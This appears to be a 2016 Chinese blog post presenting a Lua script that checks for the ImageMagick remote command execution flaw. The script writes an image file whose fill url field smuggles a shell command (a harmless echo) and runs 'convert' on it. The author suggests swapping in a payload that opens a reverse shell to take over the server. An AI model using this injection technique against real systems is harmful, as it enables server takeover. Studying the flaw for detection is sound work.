酷应用

Sevck：ImageMagick远程命令执行工具检测工具

技术作者：站内编辑 2016-05-05 10:31:22

ImageMagick这个漏洞昨天晚上就出来了，今天才有时间研究一下，今天自己也测试了一下效果图： 737185-20160505161949122-154715531

用lua写了一个检测脚本 1 print ("Checking...") 2 file=io.open("exp.jpg","w") 3 --file:write("s") 4 file:write("push graphic-context\r\nviewbox 0 0 640 480\r\n") 5 file:write("fill 'url(https://example.com/image.jpg") 6 file:write('"|echo "success!!!)') 7 file:write("'\r\n") 8 file:write("pop graphic-context") 9 file:close() 10 cmd=io.popen("convert exp.jpg test.png") 11 result=cmd:read("*all") 12 print(result) 如果存在返回 737185-20160505162250872-1158735855

当然playload自己改吧，可以直接反弹个shell回来，直接拿到服务器权限附上一篇分析文章： http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1?_=1462399591384&from=groupmessage&isappinstalled=0

关注公众号：拾黑（shiheibook）了解更多

[广告]赞助链接：

*文章为作者独立观点，不代表爱尖刀立场

本文由站内编辑发表，转载此文章须经作者同意，并请附上出处( 爱尖刀 )及本页链接。

原文链接 https://www.ijiandao.com/safe/cto/22879.html

命令执行 Sevck ImageMagick 远程命令远程命令执行

图库